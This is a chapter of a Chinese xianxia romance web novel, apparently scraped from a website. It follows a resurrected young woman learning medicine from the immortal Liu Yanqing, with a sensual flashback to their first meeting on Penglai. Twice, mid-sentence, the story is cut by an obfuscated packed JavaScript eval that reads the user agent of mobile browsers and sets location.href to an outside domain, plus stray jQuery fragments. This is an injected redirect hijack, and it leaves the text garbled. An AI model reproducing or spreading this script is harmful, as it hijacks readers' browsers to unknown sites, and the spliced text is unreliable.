医鹿山,传闻神鹿和医仙居住的地方。人世间无数人想上山求医,却终不得路。医鹿山隐没在崇山峻岭间,终年被云雾掩盖。传说只有得到仙人允许,才会在林中偶遇神鹿,跟随神鹿找到医鹿山,从而登殿求医。 而柳砚清,人间传说是医鹿山修行了千年的仙人,随手便可起死回生。实际上,他只活了三百多岁。 尽管柳砚清不喜我唤他师尊,但在我一顿撒泼打滚的拜师下,他还是答应教我一些足以在人世间谋生的医术。 他亲手抄写的书留在枕边供我复习钻研,具体的课业还是学人间的医术。 我留给自己时间不多,每拖延一天,便觉得身体内的空洞逐渐扩散,终有一日会吞噬我的整个灵魂。我狠咬牙,给自己制定了三个月出师的计划。每天在紧绷的学习中度过,柳砚清偶尔下山行医,我便随他一同前往,一面做他的助手,一面学习。 当然,我不觉得自己能在三个月内学成。 人总要有远大的目标嘛。 尽管不能实现。 走出书房,医鹿山飘下了今年的第一场初雪。虽然是新生这里的四季和人间无异。柳砚清忽然顿住脚步,抬了抬下巴,示意我看向大殿前的广场。 我顺着他所指的方向望去,清冷的广场上空无一人,只有中央的炼丹炉里冒着轻烟。大殿前的台阶视野开阔,甚至能看到层层远山间缭绕的云雾。 “下山后,多写信。”柳砚清忽然开口,语气中带着不易察觉的温柔。 我乖巧地点头:“好。” “还有,洁身自好,不要和来路不明的男人跑了。”他补充道,带着几分警告。 我挠了挠脖颈,避过他的目光,没敢出声。我得去找九个男人的啊,这个要求恕我不能答应。 见我没吱声,柳砚清轻蹙眉头,往前跨了一步。清隽的脸庞瞬间在我眼前放大,无论我怎么闪躲都避不开。 “屡教不改。”他低声温柔地训斥。 我不服气地别过脸,借着胡话掩盖发烫的双颊:“你又不是我师父。” “你天天学着清雨和如雪叫我师尊,现在又说我不是你师父了?” 我回过头,对上他微垂的眼眸,忽而间,余光中燃起一些火光。我望向天际,天色不知何时暗了下来,耀眼的明灯升入半空,照入晦暗不清的天际,灿烂得如深海升起的明月,耀眼而绚烂。 “这是……”我微微张着嘴,惊喜地望着浮于上空的盏盏明灯。 “清雨和如雪为你准备的。”柳砚清站在我身侧,与我一同欣赏着眼前的绚丽。 突然,我感觉到手被另一只冰冷的手掌包裹住。低头一看,掌心多了一条红色的绳子,上面坠着一块小小的玉。 “护身符。需要我时对着它呼唤我的名字,我能听见。” 我握紧护身符,转过头去,悄悄抹掉眼角流出的泪水。 忽地,冰冷的指尖触碰上我的耳廓,他温柔地将我鬓边的发丝别至耳后,唇角勾起一抹笑意:“发簪,很好看。” 我将手链戴在左手手腕上,低声问道:“我重生之前……我们是什么关系?” 他向我身边跨了半步,抬手替我整理有些松垮的大褂:“普通关系。” “多普通?”我追问道。 “普通到——你不会给我写信的程度。”他淡淡说道,“甚至一别,临死才再相见。” 我们立于殿前的石阶上,望着飘落的雪花和升起的明灯交相辉映。 “既然是普通关系,师尊为什么还要违背门规,冒着被逐出山门的风险救我呢?” 柳砚清勾唇浅笑。 “那你认为我们是什么关系?” “我说了你可别笑啊。我以为……”我轻咳两声,舔了舔干裂的嘴唇,“是很重要的关系。托付生命,说好厮守终生的关系。” “为什么?”他低声问道。 “一开始,你知道我失忆的时候,脸上一闪而过的神情告诉我的。是绝望,对吗?你救活了我,却没有救回你想救回的灵魂。我把你忘了,忘了我们过往的种种。” 我的声音逐渐低沉,说到最后连自己也听不大清。 柳砚清沉默片刻,最终稍稍扬起唇角。 “或许吧。” 我从怀里取出抄了三个月的书,塞到他手里:“师尊手抄的那份就归我啦。作为交换,这本是我抄的,送给师尊吧。” 柳砚清看着手中的手抄书,手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078490|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指擦过封面上歪歪扭扭的字迹,哭笑不得。 “从前你怎么都不肯学,罚你抄书你就撒泼不肯,罚你关在房中不许出来,你便趁着夜色上房揭瓦,偷溜进药园偷吃。现在……却主动抄起了书,学了医药。听清雨说,你还帮忙一起把书房的书都归了个类,整理了一遍。” 我嘿嘿一笑,得寸进尺地开起玩笑:“你看,你以前还给我上过课,怎么现在不许我叫你师尊呢?” “你从未拜入我门下,自然不是我的徒弟。”他淡淡说道,“况且,教你的先生并不是我。” “那我们是怎么认识的?”我追问道。 柳砚清沉默片刻,转而看向远处的西方,轻声念道:“蓬莱院闭天台女,画堂昼寝人无语。抛枕翠云光,绣衣闻异香。” 我下意识地接出下一句:“潜来珠锁动,惊觉银屏梦。脸慢笑盈盈,相看无限情。” 如此私情幽会之诗,与眼下情形完全不搭调。柳砚清为何突然念起这首诗?我心中疑惑,却未再追问。 三百余年前,年轻医者求学蓬莱。 东海仙岛,月明云淡露华浓,为寻书阁,不知闯入第几宫。 推门而入,花香萦绕,似荷香,又似梅香。 年轻医者推门,身后的月光照进屋内,遍地狼藉,上古书籍肆意散落。他一步一拾,从门前不知不觉立于珍珠制成的珠帘前。 抬手拨开,只见床榻上的仙子抛枕而眠,乌黑的头发披散如水波,且散发出阵阵异香。 是年轻医者从未闻过的香,只轻轻一嗅,便此生难忘。还有那张宛若九天神女一般的脸,拉扯着他的心弦,似乎有什么在隐匿生长。 炙热的眼神打扰了睡梦之人,扰人清梦。 仙子睁眼,四目相看。 如期的狼狈并未显现,仙子的脸上慢慢从诧异变为笑脸盈盈。 “我认得你,近日来岛求学的。自西洲而来,名为……” 年轻医者拱手行礼。 “在下柳砚清。” 仙子起身,轻纱离肩,露出半身春光。 柳砚清连忙转身,致歉后准备离开。 仙子一甩手中的羽带,缠上柳砚清的手腕。只需一带,柳砚清手中的书簌簌落地,仙子勾起的唇角,鲜嫩娇贵的玉肤赫然出现在的眼前。口鼻呼出的热气打在仙子的身上,撩起一阵旖旎的喘息。 滚烫的肌肤泛起红晕,柳砚清的眼神如何躲闪,总会不自觉地落向身下之人。无奈,只好闭眼。 仙子盈盈笑道:“闭眼做什么?” 冰冷的指尖描摹柳砚清的眉眼、唇线、脖颈……如同描绘一幅旷世绘卷,每一笔都细腻轻盈。 手腕被羽带紧紧缠绕,根本无法脱身。 柳砚清的双手撑在仙子的身侧,愈发颤颤巍巍,险些压上仙子的身体。 仙子笑着,抬起外侧的一条腿,膝盖顶上柳砚清的腰腹,带着他翻了个身,调换了阵营。 “柳砚清……” 仙子跨坐在他大腿之上,指尖还在继续作画。 “研墨和之濡也。无污之净。” 口中品读着柳砚清的名字,仙子回味之余喃喃道—— “不知你,是喜欢研磨时沾染的墨汁,还是山泉流淌的清净呢?” 柳砚清没明白仙子的意思,单凭表面意思回答了自己喜欢的。 “墨。” “墨啊……” 仙子了然一笑,指尖停止描摹,翻转掌心变化出一支沾有墨水的笔。 “还以为你更喜欢清水。不过也省了事,把这床榻弄湿了,可就麻烦了。” 话音落下,仙子拿起手中的笔,以柳砚清的身子作纸,褪去碍事的衣裳,开始从上至下勾勒线条。 柳砚清皱眉咬紧牙关,默默承受着,内心却随着笔触越发燥热。 双手颤抖着,两眼紧闭不敢睁开一点。 “仙……仙子……可以了……” “还没画完呢。” 柔软的笔尖一遍一遍扫过敏感的位置,柳砚清从未觉得一夜如此漫长。 仙子丢开手中的笔时,饥饿已久的困兽终于抓住了反击的绝妙机会,转守为攻,抽过仙子手中的羽带,在仙子懵然中,捆绑住她的双手,轻易而举将她整个人揽进怀里,吻上她水润的双唇,吮吸她起伏的肩头。 “你!”仙子恼羞成怒,呵斥道,“放肆!胆大妄为!你知道我是谁吗!” 怀中之人双手被禁锢撑在自己的胸膛,手肘下是她刚绘完的经脉图。 柳砚清不知餍足地亲吻仙子的唇,吞没她的喋喋不休。 直接双方的嘴唇都隐隐开始作痛。 柳砚清抬手擦拭仙子嘴唇上自己的痕迹。 “确实不知仙子姓名,敢问是何方仙子?” 仙子心疼地舔舐自己略微肿胀的唇,生气地别向一边。 见仙子不肯说,柳砚清也不追问,欲壑难填的人啊,只想着一件事。 直到东海之上的明日高悬于天。 柳砚清看着身旁熟睡的仙子,打算等她醒后问道姓名再离开。 苏醒过来的仙子闷哼着朝他身上蹭了蹭,感知到自己寻求的热源是一个活生生的人后,仙子猛地睁开眼,看向头顶深邃的眼眸。 “还不知仙子姓名。” “就为了问我的名字,你一直在此?” 柳砚清点头,答道:“若不能知晓仙子的姓名,砚清恐怕接下来的日子都无法专心学习了。” 仙子肉眼可见的脸庞染上红晕,埋下头,估计是恼羞,额头轻轻撞了下柳砚清的胸口。 “西风,我的名字,你现在知道了。” 仙子又蹙了蹙眉头。 “知道了就快走吧。” 不出一日,柳砚清便知道了“西风”并不是仙子真正的名字。问遍整个蓬莱仙岛没人认识一个叫西风的仙子,只有西雨仙人。 蓬莱仙岛有一地位显赫的仙人,名叫方大仙。方大仙有四个孩子“雷电雨风”“北东西南”,在仙岛也是有名得很。与掌管风雨雷电的四位神仙毫无关系,不过是方大仙酒后兴致大发随口乱取的。方大仙也并不叫方大仙,具体是哪路神仙,尚未知晓。 大哥北雷,二姐东电,三弟西雨,四妹南风。 柳砚清不过打听了一句岛上最蛮横美艳的仙子是哪位,所有人给出的答案都是同样的四个字。 南风仙子。 3. 渐减馀香 午后的阳光被密林筛过,深深浅浅的光斑透过山间的雾气,散落在地面。 我知道医鹿山大,可能没想到这么大。弯弯绕绕的山路,让人分不清前方的路是不是刚才走过的。 “师尊,我们没有在绕圈子吗?” “不许叫我师尊。没有。” 他并未停下脚步,而是稍微放缓了些,好让我跟上。 忽然,林深之处传来几声少年的说笑声,很快又消失不见。 片刻后又是叽叽喳喳的交谈声。 “快走快走,要被发现了!” “别拽我啊!” …… “今日功课做不完,全部人抄《神农本草经》三遍。” 柳砚清的声音只放沉了半分,躲在林子深处的一众人立即停下嬉笑,前前后后从林间走出,耸拉下脑袋认错。 “师尊,我们错了。” “擅自逃课,再加一遍《千金要方》。” 五个少年听见罚抄的目数又多了,仿佛晴天霹雳,委屈得头又低了些。 其中一个少年,突然抬眸望向我,眼中闪着泪光,似乎希望我帮忙求情。 找我有什么用……我抄的可不比这少。 “快回去上课。” “是。弟子告退。” 五位少年匆匆行了一礼,旋即消失在了树林中。 看着快速隐没在绿色中的五个背影,默默看向柳砚清。 “师尊好凶啊……” “你也想抄?” 我连忙抿紧嘴唇闭嘴。 不多时,前方几棵大树后现出一栋不大的木屋。木屋悬挂着风雅的纱帘,矗立在一池莲花中。 我诧异地回头看方才的来路,漫天飞雪,枯木萧瑟。池中盛放的莲花和莲蓬似乎与身后的世界毫无关系,独自盛放亭亭玉立。 一座木桥掩藏在巨大的荷叶中,柳砚清领着我继续向前。 推开大门,本以为只是一间十分简陋的山中木屋,不曾想里面竟是另一幅光景。 厅堂、卧室、书架、案几……居然连厨房也有。 许是很久无人光顾,室内四处都蒙上薄薄一层灰,唯有窗台的绿植葳蕤而生机勃勃。 居然是桔梗。 我忍不住走近欣赏,手指轻抚过紫色的花瓣,忽然意识到什么。 “这里是……” 转眼,我有看到满满一墙的书,惊讶着随手取下一本。 “《茶经》《旧唐书》?都是前朝的书?” “前人留下的,自然是前朝的书。” 柳砚清走到我身边,取下一本《唐新本草》递给我。 “今天学这本。入睡前看完。” “好……嗯?我们今晚不下山吗?” 他走到案边拂袖一挥,屋内的灰尘消失不见后,他才缓缓入座,变幻出茶具和泥炉开始烹茶。 我愣在书架前,等他答复。可他半天都不理我,光顾着喝茶。 “师尊?” “不许叫我师尊。”他放下茶盏,“接下来的几天,你都在此安心学习。” “那你呢?”我歪着头纯真地问道,“我一人,入夜要是有狼有劫匪……我打不过。” 他看我一眼,饮下茶汤。 “我负责监督你。” 意思就是,他也在。 我心头一喜,小跑着到他对面坐下。 木屋的生活和山下并无太大区别。吃饭,上课,吃放,上课,检查功课,睡觉。 柳砚清每天卯时准时起床,洗漱完毕后先去林间散步打坐,然后进厨房准备早膳。通常他做好早膳的时候,便是我醒来的时间。 我看着灶中的余烬,不禁感慨,仙人也会烧火做饭呐。 灶门前坐着可比案前暖和多了。我经常借着方便的借口跑到灶门前取暖打瞌睡,晓得柳砚清心软,睁一只眼闭一只眼,任由我睡半个时辰。半个时辰一到,立马叫我醒过来。 书本学得累了,我会央求他陪我下棋。柳砚清绝对不会让我,撒泼打滚也没用。 我看书,柳砚清也看书。我发现,他很喜欢看诗集,尤其是前朝的诗集。 夜里山中的雾气很重,没完没了地下着雪。 我伏在窗台边,看着池塘里的莲花莲蓬。那么冷的天,它们却盛放依旧,甚至有些新绽放的,似乎与世间天气如何变化无关。 四野安谧,能听见屋内碳炉内木炭炸裂的细碎声,和柳砚清翻动纸张的声音。 “莲花,是冬天也会开的吗?” 柳砚清翻过一页书。 “不会。” “难道是从仙界来的花,所以不受凡间的影响?” 柳砚清听见我的问题后看了我一眼,浅浅一笑。 “这栋房子,连同屋外的池水——” “都来自仙界?!” 柳砚清没有否认。 我感慨着又望向窗外。 “呜哇……那位仙人一定很闲吧……” 忽然,耳边响起一声宠溺的笑。我难以置信地望向柳砚清,他收起手里的书,起身。 “想去看看吗?” 虽然只是走出门外,但我兴奋得光着脚便跨出门槛。柳砚清跟在我身后,替我披披风,将暖炉塞进我手里。 “我们去哪儿?” 我兴奋地回头看他。 他扬起一点唇角,领着我绕到屋子的后面,也是进屋子的后门。 上山数日,柳砚清包揽了进厨房的活儿,不许我干学习以外的事,所以这个地方,我还是第一次来。 厨房外是一大片空地,摆着晾晒草药的架子和簸箕。 “哇!房前屋后判若两地啊。”我感叹道,“以前住在这里的人也是一名医者吗?药师?” 柳砚清没有说话,在旁边拿过一把锄头递给我。 “……嗯?”我懵懂地接过,“这是要……挖什么吗?” 柳砚清点头,指了指地上贸然出现的一朵小黄花。 “挖这里。” “我挖吗?” “难道为师来?” 我憋着嘴:这个时候又自称为师了?! 我不知道在挖什么,洞坑越挖越大,除了土还是土。 “师尊呐……是不是你记错了?这里什么都没有啊。还是说,我不认真念书,你在变着法惩罚我?” 柳砚清只手背在身后,语气淡漠。 “快了。挖出来,你就有酒喝了。” 原来埋的是酒,早说我不就有动力了嘛。 半个时辰后。我擦去额头上的汗水。 “未免藏的太深了。难道是不想让您喝吗?” “这坛酒在此埋了三百年,是有些年头了。” “三百年?!”我惊呼,“难怪那么厚的土。” 我撑着腰,擦去脸上的泥印,弯腰抱起埋在土里的一坛酒。 什么酒,害我挖了这么久,看我一会儿不给你喝干净。 我两手抱着酒,递给上方的柳砚清。 “师尊,我挖出来啦!” 柳砚清又轻蹙了下眉,姿态依旧端庄站在坑边。 “上来吧。” “啊?我……怎么上啊。你把酒接过去我才好爬上来啊。” 我把手中的酒又朝他伸了伸,他还是一动不动,手都不肯抬一下。 “自己想办法。” ……这是我想办法就能解决的吗?抱着酒,这么深的坑,除了一把锄头什么都没有,我怎么想办法?! 我急得原地打转,一脸无辜地望向柳砚清,对方的表情依旧淡漠。 “师尊……我错了……你,搭把手呗?” “不。” “……” “还有,不许叫我师尊。” 原来是生气了。难怪不肯帮我。 我装作看淡了人世的样子,屁股一跌坐在泥里,忍不住叹息一声。 “也不知道今晚会不会下雨啊,给我活生生淹死……或者下雪?把我埋在这儿?震惊,医鹿山后山竟有孤魂一缕,据说是在冰雪天冻死的女鬼……” “呵。” 不是心疼的声音,也不是着急,头顶传来一声冷笑。我也笑,学他的语气冷笑。 不知不觉,真的下雨了。 说啥来啥,我开玩笑呢老天! 我赶忙站起身,抱着酒,心想能不能先把酒丢上去,然后自己再爬。 显然是不可能的。 朦胧雨夜,我越发看不清柳砚清脸上的表情。 反正他也不帮我,看他作甚。 忽地,一条轻纱落在我面前。我正要伸手触摸,羽带像是感应到我一般,簌簌缠绕上我的双臂,接着,一股力量带着我和锄头腾空而起。 “这是……仙人的羽带?” 我缓缓落在柳砚清身边,振臂一挥,他替我戴好披风,又一手接过我手里的酒,另一手握住我的手腕将我带回温暖的屋内。 臂弯间的羽带似乎失去法力,变成一条普通的轻纱垂下。 我静静地看着眼前如幻梦一般的画面,不禁有些怔然。 门扉在身后紧闭,只剩一室温暖。 我脱下披风,低头看了看被泥土弄脏的裙摆。 柳砚清径直走向卧室,打开柜子熟练地翻找,不多时,便找出一套干净衣裳给我。 “……嗯?之前住在这里的是位姑娘?” 会在酿酒的姑娘?而且,为什么柳砚清会对这里的一陈一设如此熟悉…… 醋意上头,我真恨不得给自己一拳。自寻烦恼这方面,我称得上高手。 我钻进屏风后,脱下脏兮兮的衣裙,却迟迟不肯换上手里这套干净的。 女人……柳砚清的女人……羽带…… 记忆一片空白。哪怕能大概猜到这一切都是重生前的我留下的,心里还是不是滋味。 柳砚清煮好了热水坐在案边。我走过去,没有选择落座他对面,而是他的身边。 隔着一臂的距离,我抱膝歪头看着他。 他看我一眼,又收回视线,将热水递给我。 “不是茶?” “腊雪水。” 甘甜温暖的腊雪水下肚,寒气驱散。有些情绪,却怎么也散不去。 “师——” 忽然,眼前多出一只骨节分明的手,冰冷的指尖轻柔地抚过我的脸颊。 明明那么冷,指尖抚过的地方却留下一片滚烫。 “泥印。” 我出神地望着他,思绪跟着窗外的浓雾一样慢悠悠地飘荡,情不自禁地幻想,如果我现在……霎时,我垂眸,抛开脑海里愚蠢的想法。 不想他讨厌我。 我轻叹一声,抬手挡开他的,说我自己擦。他也没多言,应了声收回。 “跟我讲讲过去吧。反正我什么也想不起,你告诉我,我也只当是在听故事,好不好?” 反正这里白茫茫一片,回头或者往前。我看不到过去,也看不到未来。对于过去的自己,即使或多或少知晓了一些,可总觉得那么陌生。那真的是我?过去的我和现在的我,为什么……那么不同。 “你想听什么?”柳砚清轻声问道。 我顿了顿,咬着下嘴唇。 “我……是怎么死的。” 那是一切的起点,也是一切的终点。 这次,柳砚清不再拒绝,眼神空洞地望着某处,似乎回到了那一天。 “传说西洲岛上有起死回生之术,你为求术法救人,到了与西洲岛一江之隔的旷野。” “然后呢?” “旷野的存在本就是为了打消求术人的念头。往后,方有退路。往前,死路一条。” 柳砚清的声音淡淡的,和平时没有任何区别,可就是这样平淡的语气,让我的心揪了起来。 “所以我……选择了往前……可我不是——” 可我不是神仙吗,神仙怎么会死……我明明可以求柳砚清,为何还要孤身一人…… 我没有说出后面的话,我怕猜得不对,柳砚清又要皱眉头了。 我不自觉地抓紧了他的衣襟。 “去西洲岛之前……我是不是求过你?” 柳砚清的目光有一瞬迟疑,随即淡然地看向我,等待我继续说下去。 我深吸一口气。 “既然不想帮我,为什么还要救我……” 柳砚清沉默了一会,随即低声笑了。 “如果是救你,以命换命我也愿意。” 我是怎么睡着的,为什么柳砚清告诉我的最后一句话,留在脑海里的只有只字片语。如果是救你……意思是,我当年去西洲岛祈求起死回生之术不是为了自己?那是为了谁?宁可有去无回也要救下的人…… 后面柳砚清还说了什么,我一个字也记不清了。 “该醒来了。” 半梦半醒间,我将眼睛睁开一条缝,床榻边的窗被人支起,经过一夜,山林被铺上厚厚的白雪,反射出刺眼的光。 桌上已经摆好今日的早膳,柳砚清见我已经醒了,就从床沿起身,取下架上的棉衣递给我。我怔愣着坐在被窝里,迟迟没有接过手里。 “你又施法让我睡着的吧。” 柳砚清几不可闻地叹了口气,俯身替我穿好衣裳,掀开被子拉着我下床走到桌边。 “这是什么?道歉吗?”我坐在桌边不肯动筷。 柳砚清坐下后伸手拿起了茶壶,一抬手,宽大的袖摆落至腕处。他把茶盏推至我面前,自己先吃起面前的食物。 “……” 我死死盯着面前这碗白米饭,就是不肯动筷子。 柳砚清坐在对面,一袭白衣胜雪,神色清冷如常。他修长的手指执起木箸,动作优雅从容,仿佛世间万物都入不了他的眼。 “你再不吃,今日便没有下顿了。”他淡淡道,声音如玉石相击,清冽中带着不容置疑。 我气得牙痒痒。明明是他不对,怎么局面变成我无理取闹似的。 余光里,他放下木箸,广袖轻拂,带起一阵清冽的雪松香。我咬着唇,手指无意识地绞着衣角。这人生气的样子也这般好看,眉目如画,气质出尘,只是那眼底的寒意让人不敢直视。 “师尊……”我小声唤他,声音里带着几分委屈,“以后不许再这样了。你所说的每一句话,我都想刻在心底……” 他却不理我,自顾自地斟了杯茶。茶香袅袅升起,氤氲了他清冷的眉眼。我看着他修长的手指摩挲着杯沿,突然想起昨日抚去我脸上的泥印,以及握着我的手。 “吃饭。”他忽然开口,声音依旧清冷,却藏着几不可察的温柔。 我抬眸,正对上他深邃的眼眸。那双眼里仿佛盛着漫天星河,又似藏着千言万语。他执起木箸,夹了一筷子菜放入我碗中,动作自然得仿佛做过千百遍。 我乖乖拿起筷子,眼角余光瞥见他唇角微扬,那一抹笑意转瞬即逝,却让我心跳漏了一拍。 —————————————————— 入夜。 柳砚清从短暂的憩息中醒来,房中空无一人,唯有碳炉里的火出发低沉的噼啪声。他起身披衣,踏出门外,循着林间小径,步入一片幽深的竹林。竹影婆娑,枝叶交错,仿佛天地间只剩下这一片静谧的绿意。 忽然,一阵清风自林深处卷起,竹叶沙沙作响,宛如天籁之音。柳砚清驻足凝望,只见远处暗处似有光影浮动,恍若梦境。 风愈急,竹叶纷飞,如雪片般在空中旋舞。就在这朦胧的光影中,一位女子翩然而至。她身披羽衣,衣袂如云,随风轻扬,仿佛天地间的灵气凝聚而成。她的发丝如墨,随风飘散,眉目如画,眸中似有星辰闪烁。羽带在她身后飘荡,宛如仙鹤展翅,轻盈而飘逸。她的脚步无声,却似踏在云端,每一步都带起一阵清风,卷起地上的落叶,化作点点金光,环绕在她周身。 柳砚清怔在原地,目光无法从她身上移开。她的美,不似凡尘中人,是从九天之上降临的仙子,带着不食人间烟火的清冷与高贵。她的身影在风中若隐若现,仿佛随时会随风消散,化作一缕轻烟,回归天际。 柳砚清的心猛然一颤,瞳孔微微收缩,那熟悉的身影让他心头涌起一阵难以抑制的悸动。时间静止,天地间只剩下她与这无尽的风声。 是她。 那个曾经在他梦中出现过无数次的身影, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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良久,怀中的人终于有了反应。她的手指轻轻抬起,像是犹豫,又像是试探,最终缓缓地、温柔地回拥住了他。她的手掌贴在他的背上,指尖微微用力,仿佛在回应他的拥抱,又仿佛在确认他的存在。 柳砚清感受到她的回应,心中一阵狂喜,却又带着一丝酸楚。他的下巴轻轻抵在她的肩头,呼吸间尽是她身上淡淡的清香,像是山间的晨露,又像是林中的幽兰。他的声音低哑,带着一丝颤抖。 “你终于肯来见我了。” 她没有说话,只是将脸轻轻埋在他的肩窝,羽衣随风轻扬,仿佛在无声地诉说着千言万语。风依旧在吹,竹叶依旧在沙沙作响,但此刻的柳砚清却觉得,整个世界都安静了下来,只剩下他与她,在这片竹海中紧紧相拥。 他的手掌轻轻抚过她的发丝,指尖触碰到她冰凉的脸颊,心中涌起一阵难以言喻的满足与珍惜。他知道,这一刻的真实或许短暂,但他愿意用尽一切,去守护这份来之不易的温暖。 她的呼吸轻轻拂过他的颈侧,带着一丝温热,仿佛在告诉他,她就在这里,真实而鲜活。柳砚清闭上眼,将这一刻深深烙印在心底,仿佛无论未来如何,这一刻的拥抱,都将成为他永恒的慰藉。 —————————————————— 我望着柳砚清的眼睛,心中涌起一阵复杂的情感。我知道,他心中的执念太深,深到连我自己都无法轻易解开。可我也知道,有些事,终究无法如他所愿。 “砚清,”我轻声开口,苦笑着强忍住心中的酸涩,“是我啊……你认错了。” 柳砚清的身体微微一僵,手臂的力道渐渐松开,像是被我的话击中了一般。他的目光依旧紧紧锁在我的脸上,眼中闪过一丝错愕与不可置信。 我扯出一抹笑,试图用轻松的语气打破这凝重的气氛,正想开口跟他开个玩笑,却没想到他的动作比我的话语更快。 他的手掌忽然捧起我的脸,指尖微微用力,仿佛要将我的每一寸轮廓都刻入他的掌心。我还没来得及反应,他的唇便压了下来,带着一种近乎疯狂的炽热与急切。 他的吻毫无预兆,却又像是压抑了太久的情感终于找到了宣泄的出口。他的气息铺天盖地地席卷而来,带着一种令人窒息的占有欲,仿佛要将我整个人都吞噬进去。 我的大脑一片空白,手指无意识地攥紧了他的衣袖,却不知是该推开他还是该回应他。他的吻带着一种近乎绝望的温柔,像是想要用这种方式确认我的存在。 他的唇瓣温热而柔软,却带着一种不容抗拒的力量,将我所有的思绪都搅得混乱不堪。 风依旧在吹,竹叶依旧在沙沙作响,但此刻的我却仿佛听不到任何声音,只能感受到他的气息,他的温度,以及他近乎失控的情感。他的手掌依旧捧在我的脸颊上,指尖微微颤抖,仿佛在压抑着某种更深的情绪。 良久,他终于缓缓松开了我,额头抵在我的额头上,呼吸急促而紊乱。他的目光依旧紧紧锁在我的脸上,眼中带着一种近乎执拗的坚定,仿佛在等待我的回应,又仿佛在害怕我的拒绝。 我张了张嘴,却发现自己发不出声音。心中的酸涩与无奈交织在一起,让我不知该如何面对他。他的执着让我心疼,却又让我感到无力。 我知道,他的情感太深,深到连我自己都无法轻易解开。 床榻边堆叠着我的被褥和衣裳,凌乱地散落一地,两双或正或倒的鞋被掩埋。 他的衣襟松松微散,眼神迷离,呼吸沉重。 现在他眼里看到的,是过去的我,还是现在的我…… “砚清,你看清楚了,我是——” 话音未落,我的腰上一紧,被他的双臂圈住拉向了他。 “你终于来见我了……我好想你啊……” 又是这句话,近乎呜咽的诉说。 我落入一个冰冷的怀抱,仰起头盯着黝黑的天花顶,泪水连成线滑落至耳垂。 颈项间传来温软的触感,他的吻轻轻落下,然后吻向耳垂,沿着泪线亲吻我的眼角。 略微粗糙的指腹抚摸着我的脸颊,轻轻拭去我眼角的泪水,耳畔仿佛听到了极尽温柔的笑意。 “怎么还哭了。” 他的声音像是触动了某个开关,我原本压抑的情绪瞬间决堤。眼泪不受控制地涌出,像是断了线的珠子,一颗接一颗地滚落。我的肩膀开始微微颤抖,呼吸变得急促,喉咙里发出一声压抑的呜咽。 紧接着,所有的情绪像是洪水般倾泻而出,我终于崩溃大哭,哭声在寂静的竹林中回荡,带着一种撕心裂肺的痛楚。 柳砚清被我突如其来的崩溃吓到了。他的身体微微一僵,随即慌乱地将我拥入怀中,手掌轻轻拍着我的背,像是在安抚受惊的孩子。他的声音低柔而急切,带着一丝不知所措。 “别哭……别哭,我在这里,我在这里。” 他的怀抱温暖而坚实,带着一种令人安心的力量。可我却哭得更凶了,仿佛要将心中所有的委屈、痛苦与无奈都发泄出来。我的手指紧紧攥住他的衣襟,眼泪浸湿了他的胸口,哭声断断续续,带着一种近乎绝望的哀伤。 柳砚清没有再说话,只是将我抱得更紧,手掌依旧轻轻拍着我的背。他的下巴抵在我的发顶,呼吸轻轻拂过我的耳畔。 良久,我的哭声渐渐减弱,变成了断断续续的抽泣。柳砚清低下头,轻轻捧起我的脸,指尖拭去我脸上的泪痕。他的目光温柔而专注,带着一种近乎虔诚的怜惜。 “别哭了,”他低声说道,声音沙哑而温柔,“无论发生什么,我都会陪着你。上穷碧落下黄泉,我都能寻到你。” “砚清……”我轻声唤他的名字,声音带着一丝颤抖,“我不是……我不是……” 他的手掌依旧贴在我的脸颊上,指尖微微用力,仿佛要将我的每一寸轮廓都刻入他的掌心。 “是你。”他低声道,声音坚定而温柔,“我只要你。” 我闭上眼,心中一阵酸楚。 风依旧在吹,竹叶依旧在沙沙作响,而我和他,仿佛被困在了这幻境中,不断折磨彼此。 或许,是好的。 至少对于柳砚清而言,他是欣喜的。 至少……他冲我笑了。 4. 明知故行 距离计划三个月学成下山还有半月的夜里,我做了个很长的梦。 虚幻迷离的梦境里,我听到有人叫我的名字。 那个声音很温柔,胜过春色春风花红,带着清新的茶香和药香。像是从很远的地方传来,却清晰地落入耳畔,声声将我唤醒。 我睁开眼,神情恍惚,迟钝地反应了一会儿,终于意识到是柳砚清的声音。 “你确定要带这两个孩子回山吗?” 我眨了眨眼,顺着柳砚清的视线落到茅屋角落两个蹲着的十来岁孩子。脸上脏兮兮的,身上的衣服看上去穿了很久没有换洗。大一点的男孩子护着身旁的女孩儿,警惕着眼前两个陌生男女。 且不说慈眉善目的我,柳砚清那张清隽的脸不该有危机感才对啊。 为了降低他们的戒备心,我取下身上的披风,小心翼翼地靠近他们,在相隔数米远的距离蹲下身,将手中的披风递向女孩儿。 “入夜天冷,别感冒了。” 两人都没有搭理我,也没有伸手接过我的披风。 我猜到会是这样,也不伤心,把披风放在离她不远的地方,便起身离开。 此次利州修道之行,我陪着柳砚清在州中各村镇落脚,给看不起病的穷苦人家免费问诊和供药。磨鱼村是回医鹿山前的最后一站,可算要结束漫长的行医之路了。 柳砚清终日忙前忙后,我一无聊之辈,既不懂医术也不懂药草,更不擅长同人打交道,度日如年。发现两小儿,也是无趣打发时间瞎逛时,无意间发现的。 村长说,这俩孩子是逃荒流落至此的孤儿,村民看着可怜就收留在村口废弃的茅屋内。但收留归收留,保全自家温饱都成问题的时代,谁家都不愿意分出两份口粮的给孩子。村长虽然会每天送些粗粮来,但终归不是长久之计,还是祈祷着能有人把俩孩子带走。 得知此事后,我央求着医鹿山能收留两个孩子。柳砚清凡是都顺着我,但前提是在遵守医鹿山规定的情况下。如此特殊的情况,也不知是不是在他们的原则范围内。 见过两个孩子,我的脑海里就快速整理出了如何说服柳砚清的计划。 